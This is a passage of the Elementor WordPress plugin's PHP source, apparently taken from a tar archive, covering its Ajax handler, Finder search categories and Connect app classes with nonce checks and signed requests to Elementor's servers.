try { $data = $action_data['data'] ?? []; $results = call_user_func( $this->ajax_actions[ $action_data['action'] ]['callback'], $data, $this ); if ( false === $results ) { $this->add_response_data( false ); } else { $this->add_response_data( true, $results ); } } catch ( \Exception $e ) { $this->add_response_data( false, $e->getMessage(), $e->getCode() ); } } $this->current_action_id = null; $this->send_success(); } /** * Get current action data. * * Retrieve the data for the current ajax request. * * @since 2.0.1 * @access public * * @return bool|mixed Ajax request data if action exist, False otherwise. */ public function get_current_action_data() { if ( ! $this->current_action_id ) { return false; } return $this->requests[ $this->current_action_id ]; } /** * Create nonce. * * Creates a cryptographic token to * give the user an access to Elementor ajax actions. * * @since 2.3.0 * @access public * * @return string The nonce token. */ public function create_nonce() { return wp_create_nonce( self::NONCE_KEY ); } /** * Verify request nonce. * * Whether the request nonce verified or not. * * @since 2.3.0 * @access public * * @return bool True if request nonce verified, False otherwise. */ public function verify_request_nonce() { return wp_verify_nonce( Utils::get_super_global_value( $_REQUEST, '_nonce' ), self::NONCE_KEY ); } protected function get_init_settings() { return [ 'url' => admin_url( 'admin-ajax.php' ), 'nonce' => $this->create_nonce(), ]; } /** * Ajax success response. * * Send a JSON response data back to the ajax request, indicating success. * * @since 2.0.0 * @access protected */ private function send_success() { $response = [ 'success' => true, 'data' => [ 'responses' => $this->response_data, ], ]; $json = wp_json_encode( $response ); while ( ob_get_status() ) { ob_end_clean(); } if ( function_exists( 'gzencode' ) ) { $response = gzencode( $json ); header( 'Content-Type: application/json; charset=utf-8' ); header( 'Content-Encoding: gzip' ); header( 'Content-Length: ' . strlen( $response ) ); echo $response; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { echo $json; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } wp_die( '', '', [ 'response' => null ] ); } /** * Ajax failure response. * * Send a JSON response data back to the ajax request, indicating failure. * * @since 2.0.0 * @access protected * * @param null $code */ private function send_error( $code = null ) { wp_send_json_error( [ 'responses' => $this->response_data, ], $code ); } /** * Add response data. * * Add new response data to the array of all the ajax requests. * * @since 2.0.0 * @access protected * * @param bool $success True if the requests returned successfully, False * otherwise. * @param mixed $data Optional. Response data. Default is null. * * @param int $code Optional. Response code. Default is 200. * * @return Module An instance of ajax manager. */ private function add_response_data( $success, $data = null, $code = 200 ) { $this->response_data[ $this->current_action_id ] = [ 'success' => $success, 'code' => $code, 'data' => $data, ]; return $this; } } core/common/modules/finder/module.php000064400000005063147206604650013717 0ustar00categories_manager = new Categories_Manager(); $this->add_template(); add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); } /** * Get name. * * @since 2.3.0 * @access public * * @return string */ public function get_name() { return 'finder'; } /** * Add template. * * @since 2.3.0 * @access public */ public function add_template() { Plugin::$instance->common->add_template( __DIR__ . '/template.php' ); } /** * Register ajax actions. * * @since 2.3.0 * @access public * * @param Ajax $ajax */ public function register_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'finder_get_category_items', [ $this, 'ajax_get_category_items' ] ); } /** * Ajax get category items. * * @since 2.3.0 * @access public * * @param array $data * * @return array */ public function ajax_get_category_items( array $data ) { if ( ! current_user_can( 'manage_options' ) ) { throw new \Exception( 'Access denied.' ); } $category = $this->categories_manager->get_categories( $data['category'] ); return $category->get_category_items( $data ); } /** * Get init settings. * * @since 2.3.0 * @access protected * * @return array */ protected function get_init_settings() { $categories = $this->categories_manager->get_categories(); $categories_data = []; foreach ( $categories as $category_name => $category ) { $categories_data[ $category_name ] = array_merge( $category->get_settings(), [ 'name' => $category_name ] ); } /** * Finder categories. * * Filters the list of finder categories. This hook is used to manage Finder * categories - to add new categories, remove and edit existing categories. * * @since 2.3.0 * * @param array $categories_data A list of finder categories. */ $categories_data = apply_filters( 'elementor/finder/categories', $categories_data ); return [ 'data' => $categories_data, ]; } } core/common/modules/finder/categories/tools.php000064400000004054147206604650015716 0ustar00 [ 'title' => esc_html__( 'Tools', 'elementor' ), 'icon' => 'tools', 'url' => $tools_url, 'keywords' => [ 'tools', 'regenerate css', 'safe mode', 'debug bar', 'sync library', 'elementor' ], ], 'replace-url' => [ 'title' => esc_html__( 'Replace URL', 'elementor' ), 'icon' => 'tools', 'url' => $tools_url . '#tab-replace_url', 'keywords' => [ 'tools', 'replace url', 'domain', 'elementor' ], ], 'maintenance-mode' => [ 'title' => esc_html__( 'Maintenance Mode', 'elementor' ), 'icon' => 'tools', 'url' => $tools_url . '#tab-maintenance_mode', 'keywords' => [ 'tools', 'maintenance', 'coming soon', 'elementor' ], ], 'import-export' => [ 'title' => esc_html__( 'Import Export', 'elementor' ), 'icon' => 'import-export', 'url' => $tools_url . '#tab-import-export-kit', 'keywords' => [ 'tools', 'import export', 'import', 'export', 'kit' ], ], ]; if ( ElementorTools::can_user_rollback_versions() ) { $items['version-control'] = [ 'title' => esc_html__( 'Version Control', 'elementor' ), 'icon' => 'time-line', 'url' => $tools_url . '#tab-versions', 'keywords' => [ 'tools', 'version', 'control', 'rollback', 'beta', 'elementor' ], ]; } return $items; } } core/common/modules/finder/categories/site.php000064400000004046147206604650015523 0ustar00 [ 'title' => esc_html__( 'Homepage', 'elementor' ), 'url' => home_url(), 'icon' => 'home-heart', 'keywords' => [ 'home', 'page' ], ], 'wordpress-dashboard' => [ 'title' => esc_html__( 'Dashboard', 'elementor' ), 'icon' => 'dashboard', 'url' => admin_url(), 'keywords' => [ 'dashboard', 'wordpress' ], ], 'wordpress-menus' => [ 'title' => esc_html__( 'Menus', 'elementor' ), 'icon' => 'wordpress', 'url' => admin_url( 'nav-menus.php' ), 'keywords' => [ 'menu', 'wordpress' ], ], 'wordpress-themes' => [ 'title' => esc_html__( 'Themes', 'elementor' ), 'icon' => 'wordpress', 'url' => admin_url( 'themes.php' ), 'keywords' => [ 'themes', 'wordpress' ], ], 'wordpress-customizer' => [ 'title' => esc_html__( 'Customizer', 'elementor' ), 'icon' => 'wordpress', 'url' => admin_url( 'customize.php' ), 'keywords' => [ 'customizer', 'wordpress' ], ], 'wordpress-plugins' => [ 'title' => esc_html__( 'Plugins', 'elementor' ), 'icon' => 'wordpress', 'url' => admin_url( 'plugins.php' ), 'keywords' => [ 'plugins', 'wordpress' ], ], 'wordpress-users' => [ 'title' => esc_html__( 'Users', 'elementor' ), 'icon' => 'wordpress', 'url' => admin_url( 'users.php' ), 'keywords' => [ 'users', 'profile', 'wordpress' ], ], ]; } } core/common/modules/finder/categories/general.php000064400000004450147206604650016173 0ustar00 [ 'title' => esc_html__( 'Saved Templates', 'elementor' ), 'icon' => 'library-save', 'url' => Source_Local::get_admin_url(), 'keywords' => [ 'template', 'section', 'page', 'library' ], ], 'system-info' => [ 'title' => esc_html__( 'System Info', 'elementor' ), 'icon' => 'info-circle-o', 'url' => admin_url( 'admin.php?page=elementor-system-info' ), 'keywords' => [ 'system', 'info', 'environment', 'elementor' ], ], 'role-manager' => [ 'title' => esc_html__( 'Role Manager', 'elementor' ), 'icon' => 'person', 'url' => Role_Manager::get_url(), 'keywords' => [ 'role', 'manager', 'user', 'elementor' ], ], 'knowledge-base' => [ 'title' => esc_html__( 'Knowledge Base', 'elementor' ), 'url' => admin_url( 'admin.php?page=go_knowledge_base_site' ), 'keywords' => [ 'help', 'knowledge', 'docs', 'elementor' ], ], 'theme-builder' => [ 'title' => esc_html__( 'Theme Builder', 'elementor' ), 'icon' => 'library-save', 'url' => Plugin::$instance->app->get_settings( 'menu_url' ), 'keywords' => [ 'template', 'header', 'footer', 'single', 'archive', 'search', '404', 'library' ], ], 'kit-library' => [ 'title' => esc_html__( 'Kit Library', 'elementor' ), 'icon' => 'kit-parts', 'url' => Plugin::$instance->app->get_base_url() . '#/kit-library', 'keywords' => [ 'kit library', 'kit', 'library', 'site parts', 'parts', 'assets', 'templates' ], ], ]; } } core/common/modules/finder/categories/edit.php000064400000005270147206604650015504 0ustar00 false, ] ); $post_types[] = Source_Local::CPT; $document_types = Plugin::$instance->documents->get_document_types( [ 'is_editable' => true, 'show_in_finder' => true, ] ); $recently_edited_query_args = [ 'no_found_rows' => true, 'post_type' => $post_types, 'post_status' => [ 'publish', 'draft', 'private', 'pending', 'future' ], 'posts_per_page' => '10', 'meta_query' => [ [ 'key' => '_elementor_edit_mode', 'value' => 'builder', ], [ 'relation' => 'or', [ 'key' => Document::TYPE_META_KEY, 'compare' => 'NOT EXISTS', ], [ 'key' => Document::TYPE_META_KEY, 'value' => array_keys( $document_types ), ], ], ], 'orderby' => 'modified', 's' => $options['filter'], ]; $recently_edited_query = new \WP_Query( $recently_edited_query_args ); $items = []; /** @var \WP_Post $post */ foreach ( $recently_edited_query->posts as $post ) { $document = Plugin::$instance->documents->get( $post->ID ); if ( ! $document ) { continue; } $is_template = Source_Local::CPT === $post->post_type; $description = $document->get_title(); $icon = 'document-file'; if ( $is_template ) { $description = esc_html__( 'Template', 'elementor' ) . ' / ' . $description; $icon = 'post-title'; } $items[] = [ 'icon' => $icon, 'title' => esc_html( $post->post_title ), 'description' => $description, 'url' => $document->get_edit_url(), 'actions' => [ [ 'name' => 'view', 'url' => $document->get_permalink(), 'icon' => 'preview-medium', ], ], ]; } return $items; } } core/common/modules/finder/categories/settings.php000064400000004533147206604650016420 0ustar00 [ 'title' => esc_html__( 'General Settings', 'elementor' ), 'url' => ElementorSettings::get_settings_tab_url( 'general' ), 'keywords' => [ 'general', 'settings', 'elementor' ], ], 'integrations' => [ 'title' => esc_html__( 'Integrations', 'elementor' ), 'url' => ElementorSettings::get_settings_tab_url( 'integrations' ), 'keywords' => [ 'integrations', 'settings', 'elementor' ], ], 'advanced' => [ 'title' => esc_html__( 'Advanced', 'elementor' ), 'url' => ElementorSettings::get_settings_tab_url( 'advanced' ), 'keywords' => [ 'advanced', 'settings', 'elementor' ], ], 'performance' => [ 'title' => esc_html__( 'Performance', 'elementor' ), 'url' => ElementorSettings::get_settings_tab_url( 'performance' ), 'keywords' => [ 'performance', 'settings', 'elementor' ], ], 'experiments' => [ 'title' => esc_html__( 'Experiments', 'elementor' ), 'url' => ElementorSettings::get_settings_tab_url( 'experiments' ), 'keywords' => [ 'settings', 'elementor', 'experiments' ], ], 'features' => [ 'title' => esc_html__( 'Features', 'elementor' ), 'url' => ElementorSettings::get_settings_tab_url( 'experiments' ), 'keywords' => [ 'settings', 'elementor', 'features' ], ], 'element-manager' => [ 'title' => esc_html__( 'Element Manager', 'elementor' ), 'url' => admin_url( 'admin.php?page=' . ElementManagerModule::PAGE_ID ), 'keywords' => [ 'settings', 'elements', 'widgets', 'manager' ], ], ]; } } core/common/modules/finder/categories/create.php000064400000005535147206604650016026 0ustar00documents->get_document_types(); // TODO: Remove - Support 'post' backwards compatibility - See `Documents_Manager::register_default_types()`. unset( $registered_document_types['post'] ); $elementor_supported_post_types = array_flip( get_post_types_by_support( 'elementor' ) ); foreach ( $registered_document_types as $document_name => $document_class ) { $document_properties = $document_class::get_properties(); if ( empty( $document_properties['show_in_finder'] ) ) { continue; } if ( ! empty( $document_properties['cpt'] ) ) { foreach ( $document_properties['cpt'] as $cpt ) { unset( $elementor_supported_post_types[ $cpt ] ); } } $result[ $document_name ] = $this->create_item_url_by_document_class( $document_class ); } foreach ( $elementor_supported_post_types as $post_type => $val ) { $result[ $post_type ] = $this->create_item_url_by_post_type( $post_type ); } return $result; } private function create_item_url_by_post_type( $post_type ) { $post_type_object = get_post_type_object( $post_type ); // If there is an old post type from inactive plugins. if ( ! $post_type_object ) { return false; } return $this->get_create_new_template( sprintf( __( 'Add New %s', 'elementor' ), $post_type_object->labels->singular_name ), Plugin::$instance->documents->get_create_new_post_url( $post_type ) ); } private function create_item_url_by_document_class( $document_class ) { $result = $this->get_create_new_template( $document_class::get_add_new_title(), $document_class::get_create_url() ); $lock_behavior = $document_class::get_lock_behavior_v2(); $is_locked = ! empty( $lock_behavior ) && $lock_behavior->is_locked(); if ( $is_locked ) { $result['lock'] = $lock_behavior->get_config(); } return $result; } private function get_create_new_template( $add_new_title, $url ) { return [ 'title' => $add_new_title, 'icon' => 'plus-circle-o', 'url' => $url, 'keywords' => [ $add_new_title, 'post', 'page', 'template', 'new', 'create' ], ]; } } core/common/modules/finder/template.php000064400000003631147206604650014244 0ustar00 core/common/modules/finder/categories-manager.php000064400000007272147206604650016173 0ustar00modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'register()' ); $this->register( $category, $category_name ); } /** * Register finder category. * * @since 3.5.0 * @access public * * @param Base_Category $finder_category_instance An Instance of a category. * @param string $finder_category_name A Category name. Deprecated parameter. * * @return void */ public function register( Base_Category $finder_category_instance, $finder_category_name = null ) { // TODO: For BC. Remove in the future. if ( $finder_category_name ) { Plugin::instance()->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_argument( '$finder_category_name', '3.5.0' ); } else { $finder_category_name = $finder_category_instance->get_id(); } $this->categories[ $finder_category_name ] = $finder_category_instance; } /** * Unregister a finder category. * * @param string $finder_category_name - Category to unregister. * * @return void * @since 3.6.0 * @access public */ public function unregister( $finder_category_name ) { unset( $this->categories[ $finder_category_name ] ); } /** * Get categories. * * Retrieve the registered categories, or a specific category if the category name * is provided as a parameter. * * @since 2.3.0 * @access public * * @param string $category Category name. * * @return Base_Category|Base_Category[]|null */ public function get_categories( $category = '' ) { if ( ! $this->categories ) { $this->init_categories(); } if ( $category ) { if ( isset( $this->categories[ $category ] ) ) { return $this->categories[ $category ]; } return null; } return $this->categories; } /** * Init categories. * * Used to initialize the native finder categories. * * @since 2.3.0 * @access private */ private function init_categories() { foreach ( $this->categories_list as $category_name ) { $class_name = __NAMESPACE__ . '\Categories\\' . $category_name; $this->register( new $class_name() ); } /** * Elementor Finder categories init. * * Fires after Elementor Finder initialize it's native categories. * * This hook should be used to add your own Finder categories. * * @since 2.3.0 * @deprecated 3.5.0 Use `elementor/finder/register` hook instead. * * @param Categories_Manager $this. */ Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->do_deprecated_action( 'elementor/finder/categories/init', [ $this ], '3.5.0', 'elementor/finder/register' ); /** * Elementor Finder categories registration. * * Fires after Elementor Finder initialize it's native categories. * * This hook should be used to register your own Finder categories. * * @since 3.5.0 * * @param Categories_Manager $this Finder Categories manager. */ do_action( 'elementor/finder/register', $this ); } } core/common/modules/finder/base-category.php000064400000003126147206604650015155 0ustar00modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( get_class( $this ) . '::' . __FUNCTION__, '3.5.0', 'This method will be replaced with an abstract method.' ); return ''; } /** * Get category items. * * @since 2.3.0 * @abstract * @access public * * @param array $options * * @return array */ abstract public function get_category_items( array $options = [] ); /** * Is dynamic. * * Determine if the category is dynamic. * * @since 2.3.0 * @access public * * @return bool */ public function is_dynamic() { return false; } /** * Get init settings. * * @since 2.3.0 * @access protected * * @return array */ protected function get_init_settings() { $settings = [ 'title' => $this->get_title(), 'dynamic' => $this->is_dynamic(), ]; if ( ! $settings['dynamic'] ) { $settings['items'] = $this->get_category_items(); } return $settings; } } core/common/modules/connect/module.php000064400000013202147206604650014073 0ustar00registered_apps = [ 'connect' => Connect::get_class_name(), 'library' => Library::get_class_name(), ]; // When using REST API the parent module is construct after the action 'elementor/init' // so this part of code make sure to register the module "apps". if ( did_action( 'elementor/init' ) ) { $this->init(); } else { // Note: The priority 11 is for allowing plugins to add their register callback on elementor init. add_action( 'elementor/init', [ $this, 'init' ], 11 ); } add_filter( 'elementor/tracker/send_tracking_data_params', function ( $params ) { return $this->add_tracking_data( $params ); } ); } /** * Register default apps. * * Registers the default apps. * * @since 2.3.0 * @access public */ public function init() { if ( is_admin() ) { $this->admin_page = new Admin(); } /** * Register Elementor apps. * * Fires after Elementor registers the default apps. * * @since 2.3.0 * * @param self $this The apps manager instance. */ do_action( 'elementor/connect/apps/register', $this ); foreach ( $this->registered_apps as $slug => $class ) { $this->apps[ $slug ] = new $class(); } } /** * Register app. * * Registers an app. * * @since 2.3.0 * @access public * * @param string $slug App slug. * @param string $class App full class name. * * @return self The updated apps manager instance. */ public function register_app( $slug, $class ) { $this->registered_apps[ $slug ] = $class; return $this; } /** * Get app instance. * * Retrieve the app instance. * * @since 2.3.0 * @access public * * @param $slug * * @return Base_App|null */ public function get_app( $slug ) { if ( isset( $this->apps[ $slug ] ) ) { return $this->apps[ $slug ]; } return null; } /** * @since 2.3.0 * @access public * @return Base_App[] */ public function get_apps() { return $this->apps; } /** * @since 2.3.0 * @access public */ public function register_category( $slug, $args ) { $this->categories[ $slug ] = $args; return $this; } /** * @since 2.3.0 * @access public */ public function get_categories() { return $this->categories; } /** * @param string $context Where this subscription plan should be shown. * * @return array */ public function get_subscription_plans( $context = '' ) { $base_url = Utils::has_pro() ? 'https://my.elementor.com/upgrade-subscription' : 'https://elementor.com/pro'; $promotion_url = $base_url . '/?utm_source=' . $context . '&utm_medium=wp-dash&utm_campaign=gopro'; return [ static::ACCESS_TIER_FREE => [ 'label' => null, 'promotion_url' => null, 'color' => null, ], static::ACCESS_TIER_ESSENTIAL => [ 'label' => 'Pro', 'promotion_url' => $promotion_url, 'color' => '#92003B', ], static::ACCESS_TIER_ESSENTIAL_OCT_2023 => [ 'label' => 'Advanced', // Should be the same label as "Advanced". 'promotion_url' => $promotion_url, 'color' => '#92003B', ], static::ACCESS_TIER_ADVANCED => [ 'label' => 'Advanced', 'promotion_url' => $promotion_url, 'color' => '#92003B', ], static::ACCESS_TIER_EXPERT => [ 'label' => 'Expert', 'promotion_url' => $promotion_url, 'color' => '#92003B', ], static::ACCESS_TIER_AGENCY => [ 'label' => 'Agency', 'promotion_url' => $promotion_url, 'color' => '#92003B', ], ]; } private function add_tracking_data( $params ) { $users = []; $users_query = new WP_User_Query( [ 'count_total' => false, // Disable SQL_CALC_FOUND_ROWS. 'meta_query' => [ 'key' => Common_App::OPTION_CONNECT_COMMON_DATA_KEY, 'compare' => 'EXISTS', ], ] ); foreach ( $users_query->get_results() as $user ) { $connect_common_data = get_user_option( Common_App::OPTION_CONNECT_COMMON_DATA_KEY, $user->ID ); if ( $connect_common_data ) { $users [] = [ 'id' => $user->ID, 'email' => $connect_common_data['user']->email, 'roles' => implode( ', ', $user->roles ), ]; } } $params['usages'][ $this->get_name() ] = [ 'site_key' => get_option( Base_App::OPTION_CONNECT_SITE_KEY ), 'count' => count( $users ), 'users' => $users, ]; return $params; } } core/common/modules/connect/apps/base-app.php000064400000047652147206604650015261 0ustar00get_slug(); } /** * @since 2.3.0 * @access protected * @abstract */ abstract protected function update_settings(); /** * @since 2.3.0 * @access public * @static */ public static function get_class_name() { return get_called_class(); } /** * @access public * @abstract */ public function render_admin_widget() { // PHPCS - the method get_title return a plain string. echo '

' . $this->get_title() . '

'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped if ( $this->is_connected() ) { $remote_user = $this->get( 'user' ); $title = sprintf( /* translators: %s: Remote user. */ esc_html__( 'Connected as %s', 'elementor' ), '' . esc_html( $remote_user->email ) . '' ); $label = esc_html__( 'Disconnect', 'elementor' ); $url = $this->get_admin_url( 'disconnect' ); $attr = ''; echo sprintf( '%s %s', // PHPCS - the variable $title is already escaped above. $title, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped // PHPCS - the variable $attr is a plain string. $attr, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped esc_attr( $url ), esc_html( $label ) ); } else { echo 'Not Connected'; } echo '
'; $this->print_app_info(); if ( current_user_can( 'manage_options' ) ) { printf( '', esc_url( $this->get_admin_url( 'reset' ) ), esc_html__( 'Reset Data', 'elementor' ) ); } echo '
'; } /** * @since 2.3.0 * @access protected */ protected function get_option_name() { return static::OPTION_NAME_PREFIX . $this->get_slug(); } /** * @since 2.3.0 * @access public */ public function admin_notice() { $notices = $this->get( 'notices' ); if ( ! $notices ) { return; } $this->print_notices( $notices ); $this->delete( 'notices' ); } public function get_app_token_from_cli_token( $cli_token ) { $response = $this->request( 'get_app_token_from_cli_token', [ 'cli_token' => $cli_token, ] ); if ( is_wp_error( $response ) ) { // PHPCS - the variable $response does not contain a user input value. wp_die( $response, $response->get_error_message() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } // Use state as usual. $_REQUEST['state'] = $this->get( 'state' ); $_REQUEST['code'] = $response->code; } /** * @since 2.3.0 * @access public */ public function action_authorize() { if ( $this->is_connected() ) { $this->add_notice( esc_html__( 'Already connected.', 'elementor' ), 'info' ); $this->redirect_to_admin_page(); return; } $this->set_client_id(); $this->set_request_state(); $this->redirect_to_remote_authorize_url(); } public function action_reset() { if ( current_user_can( 'manage_options' ) ) { delete_option( static::OPTION_CONNECT_SITE_KEY ); delete_option( 'elementor_remote_info_library' ); } $this->redirect_to_admin_page(); } /** * @since 2.3.0 * @access public */ public function action_get_token() { if ( $this->is_connected() ) { $this->redirect_to_admin_page(); } //phpcs:ignore WordPress.Security.NonceVerification.Recommended - The user as been authorized before in 'connect'. $state = Utils::get_super_global_value( $_REQUEST, 'state' ); if ( $state !== $this->get( 'state' ) ) { $this->add_notice( 'Get Token: Invalid Request.', 'error' ); $this->redirect_to_admin_page(); } $response = $this->request( 'get_token', [ 'grant_type' => 'authorization_code', 'code' => Utils::get_super_global_value( $_REQUEST, 'code' ), //phpcs:ignore WordPress.Security.NonceVerification.Recommended 'redirect_uri' => rawurlencode( $this->get_admin_url( 'get_token' ) ), 'client_id' => $this->get( 'client_id' ), ] ); if ( is_wp_error( $response ) ) { $notice = 'Cannot Get Token:' . $response->get_error_message(); $this->add_notice( $notice, 'error' ); $this->redirect_to_admin_page(); } $this->delete( 'state' ); $this->set( (array) $response ); if ( ! empty( $response->data_share_opted_in ) && current_user_can( 'manage_options' ) ) { Tracker::set_opt_in( true ); } $this->after_connect(); // Add the notice *after* the method `after_connect`, so an app can redirect without the notice. $this->add_notice( esc_html__( 'Connected successfully.', 'elementor' ) ); $this->redirect_to_admin_page(); } /** * @since 2.3.0 * @access public */ public function action_disconnect() { if ( $this->is_connected() ) { $this->disconnect(); $this->add_notice( esc_html__( 'Disconnected successfully.', 'elementor' ) ); } $this->redirect_to_admin_page(); } /** * @since 2.8.0 * @access public */ public function action_reconnect() { $this->disconnect(); $this->action_authorize(); } /** * @since 2.3.0 * @access public */ public function get_admin_url( $action, $params = [] ) { $params = [ 'app' => $this->get_slug(), 'action' => $action, 'nonce' => wp_create_nonce( $this->get_slug() . $action ), ] + $params; $admin_url = Str::encode_idn_url( get_admin_url() ); $admin_url .= 'admin.php?page=' . Admin::PAGE_ID; return add_query_arg( $params, $admin_url ); } /** * @since 2.3.0 * @access public */ public function is_connected() { return (bool) $this->get( 'access_token' ); } /** * @since 2.3.0 * @access protected */ protected function init() {} /** * @since 2.3.0 * @access protected */ protected function init_data() {} /** * @since 2.3.0 * @access protected */ protected function after_connect() {} /** * @since 2.3.0 * @access public */ public function get( $key, $default = null ) { $this->init_data(); return isset( $this->data[ $key ] ) ? $this->data[ $key ] : $default; } /** * @since 2.3.0 * @access protected */ protected function set( $key, $value = null ) { $this->init_data(); if ( is_array( $key ) ) { $this->data = array_replace_recursive( $this->data, $key ); } else { $this->data[ $key ] = $value; } $this->update_settings(); } /** * @since 2.3.0 * @access protected */ protected function delete( $key = null ) { $this->init_data(); if ( $key ) { unset( $this->data[ $key ] ); } else { $this->data = []; } $this->update_settings(); } /** * @since 2.3.0 * @access protected */ protected function add( $key, $value, $default = '' ) { $new_value = $this->get( $key, $default ); if ( is_array( $new_value ) ) { $new_value[] = $value; } elseif ( is_string( $new_value ) ) { $new_value .= $value; } elseif ( is_numeric( $new_value ) ) { $new_value += $value; } $this->set( $key, $new_value ); } /** * @since 2.3.0 * @access protected */ protected function add_notice( $content, $type = 'success' ) { $this->add( 'notices', compact( 'content', 'type' ), [] ); } /** * @param $action * @param array $request_body * @param false $as_array * * @return mixed|\WP_Error */ protected function request( $action, $request_body = [], $as_array = false ) { $request_body = $this->get_connect_info() + $request_body; return $this->http_request( 'POST', $action, [ 'timeout' => 25, 'body' => $request_body, 'headers' => $this->is_connected() ? [ 'X-Elementor-Signature' => $this->generate_signature( $request_body ) ] : [], ], [ 'return_type' => $as_array ? static::HTTP_RETURN_TYPE_ARRAY : static::HTTP_RETURN_TYPE_OBJECT, ] ); } /** * Get Base Connect Info * * Returns an array of connect info. * * @return array */ protected function get_base_connect_info() { return [ 'app' => $this->get_slug(), 'access_token' => $this->get( 'access_token' ), 'client_id' => $this->get( 'client_id' ), 'local_id' => get_current_user_id(), 'site_key' => $this->get_site_key(), 'home_url' => trailingslashit( home_url() ), ]; } /** * Get all the connect information * * @return array */ protected function get_connect_info() { $connect_info = $this->get_base_connect_info(); $additional_info = []; /** * Additional connect info. * * Filters the connection information when connecting to Elementor servers. * This hook can be used to add more information or add more data. * * @param array $additional_info Additional connecting information array. * @param Base_App $this The base app instance. */ $additional_info = apply_filters( 'elementor/connect/additional-connect-info', $additional_info, $this ); return array_merge( $connect_info, $additional_info ); } /** * @param $endpoint * * @return array */ protected function generate_authentication_headers( $endpoint ) { $connect_info = ( new Collection( $this->get_connect_info() ) ) ->map_with_keys( function ( $value, $key ) { // For bc `get_connect_info` returns the connect info with underscore, // headers with underscore are not valid, so all the keys with underscore will be replaced to hyphen. return [ str_replace( '_', '-', $key ) => $value ]; } ) ->replace_recursive( [ 'endpoint' => $endpoint ] ) ->sort_keys(); return $connect_info ->merge( [ 'X-Elementor-Signature' => $this->generate_signature( $connect_info->all() ) ] ) ->all(); } /** * Send an http request * * @param $method * @param $endpoint * @param array $args * @param array $options * * @return mixed|\WP_Error */ protected function http_request( $method, $endpoint, $args = [], $options = [] ) { $options = wp_parse_args( $options, [ 'return_type' => static::HTTP_RETURN_TYPE_OBJECT, ] ); $args = array_replace_recursive( [ 'headers' => $this->is_connected() ? $this->generate_authentication_headers( $endpoint ) : [], 'method' => $method, 'timeout' => 10, ], $args ); $response = $this->http->request_with_fallback( $this->get_generated_urls( $endpoint ), $args ); if ( is_wp_error( $response ) && empty( $options['with_error_data'] ) ) { // PHPCS - the variable $response does not contain a user input value. wp_die( $response, [ 'back_link' => true ] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $body = wp_remote_retrieve_body( $response ); $response_code = (int) wp_remote_retrieve_response_code( $response ); if ( ! $response_code ) { return new \WP_Error( 500, 'No Response' ); } // Server sent a success message without content. if ( 'null' === $body ) { $body = true; } $body = json_decode( $body, static::HTTP_RETURN_TYPE_ARRAY === $options['return_type'] ); if ( false === $body ) { return new \WP_Error( 422, 'Wrong Server Response' ); } if ( 200 !== $response_code ) { // In case $as_array = true. $body = (object) $body; $message = isset( $body->message ) ? $body->message : wp_remote_retrieve_response_message( $response ); $code = (int) ( isset( $body->code ) ? $body->code : $response_code ); if ( ! $code ) { $code = $response_code; } if ( 401 === $code ) { $this->delete(); $should_retry = ! in_array( $this->auth_mode, [ 'xhr', 'cli' ], true ); if ( $should_retry ) { $this->action_authorize(); } } if ( isset( $options['with_error_data'] ) && true === $options['with_error_data'] ) { return new \WP_Error( $code, $message, $body ); } return new \WP_Error( $code, $message ); } return $body; } /** * Create a signature for the http request * * @param array $payload * * @return false|string */ private function generate_signature( $payload = [] ) { return hash_hmac( 'sha256', wp_json_encode( $payload, JSON_NUMERIC_CHECK ), $this->get( 'access_token_secret' ) ); } /** * @since 2.3.0 * @access protected */ protected function get_api_url() { return static::API_URL . '/' . $this->get_slug(); } /** * @since 2.3.0 * @access protected */ protected function get_remote_site_url() { return static::SITE_URL . '/' . $this->get_slug(); } /** * @since 2.3.0 * @access protected */ protected function get_remote_authorize_url() { $redirect_uri = $this->get_auth_redirect_uri(); $allowed_query_params_to_propagate = [ 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'source', 'screen_hint', ]; $query_params = ( new Collection( $_GET ) ) // phpcs:ignore ->only( $allowed_query_params_to_propagate ) ->merge( [ 'action' => 'authorize', 'response_type' => 'code', 'client_id' => $this->get( 'client_id' ), 'auth_secret' => $this->get( 'auth_secret' ), 'state' => $this->get( 'state' ), 'redirect_uri' => rawurlencode( $redirect_uri ), 'may_share_data' => current_user_can( 'manage_options' ) && ! Tracker::is_allow_track(), 'reconnect_nonce' => wp_create_nonce( $this->get_slug() . 'reconnect' ), ] ); return add_query_arg( $query_params->all(), $this->get_remote_site_url() ); } /** * @since 2.3.0 * @access protected */ protected function redirect_to_admin_page( $url = '' ) { if ( ! $url ) { $url = Admin::$url; } switch ( $this->auth_mode ) { case 'popup': $this->print_popup_close_script( $url ); break; case 'cli': $this->admin_notice(); die; default: wp_safe_redirect( $url ); die; } } /** * @since 2.3.0 * @access protected */ protected function set_client_id() { $source = Utils::get_super_global_value( $_REQUEST, 'source' ) ?? ''; //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here. $response = $this->request( 'get_client_id', [ 'source' => esc_attr( $source ), ] ); if ( is_wp_error( $response ) ) { // PHPCS - the variable $response does not contain a user input value. wp_die( $response, $response->get_error_message() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $this->set( 'client_id', $response->client_id ); $this->set( 'auth_secret', $response->auth_secret ); } /** * @since 2.3.0 * @access protected */ protected function set_request_state() { $this->set( 'state', wp_generate_password( 12, false ) ); } protected function get_popup_success_event_data() { return []; } /** * @since 2.3.0 * @access protected */ protected function print_popup_close_script( $url ) { $data = $this->get_popup_success_event_data(); ?> is_connected() ) { // Try update the server, but not needed to handle errors. $this->request( 'disconnect' ); } $this->delete(); } /** * @since 2.3.0 * @access protected */ public function get_site_key() { $site_key = get_option( static::OPTION_CONNECT_SITE_KEY ); if ( ! $site_key ) { $site_key = md5( uniqid( wp_generate_password() ) ); update_option( 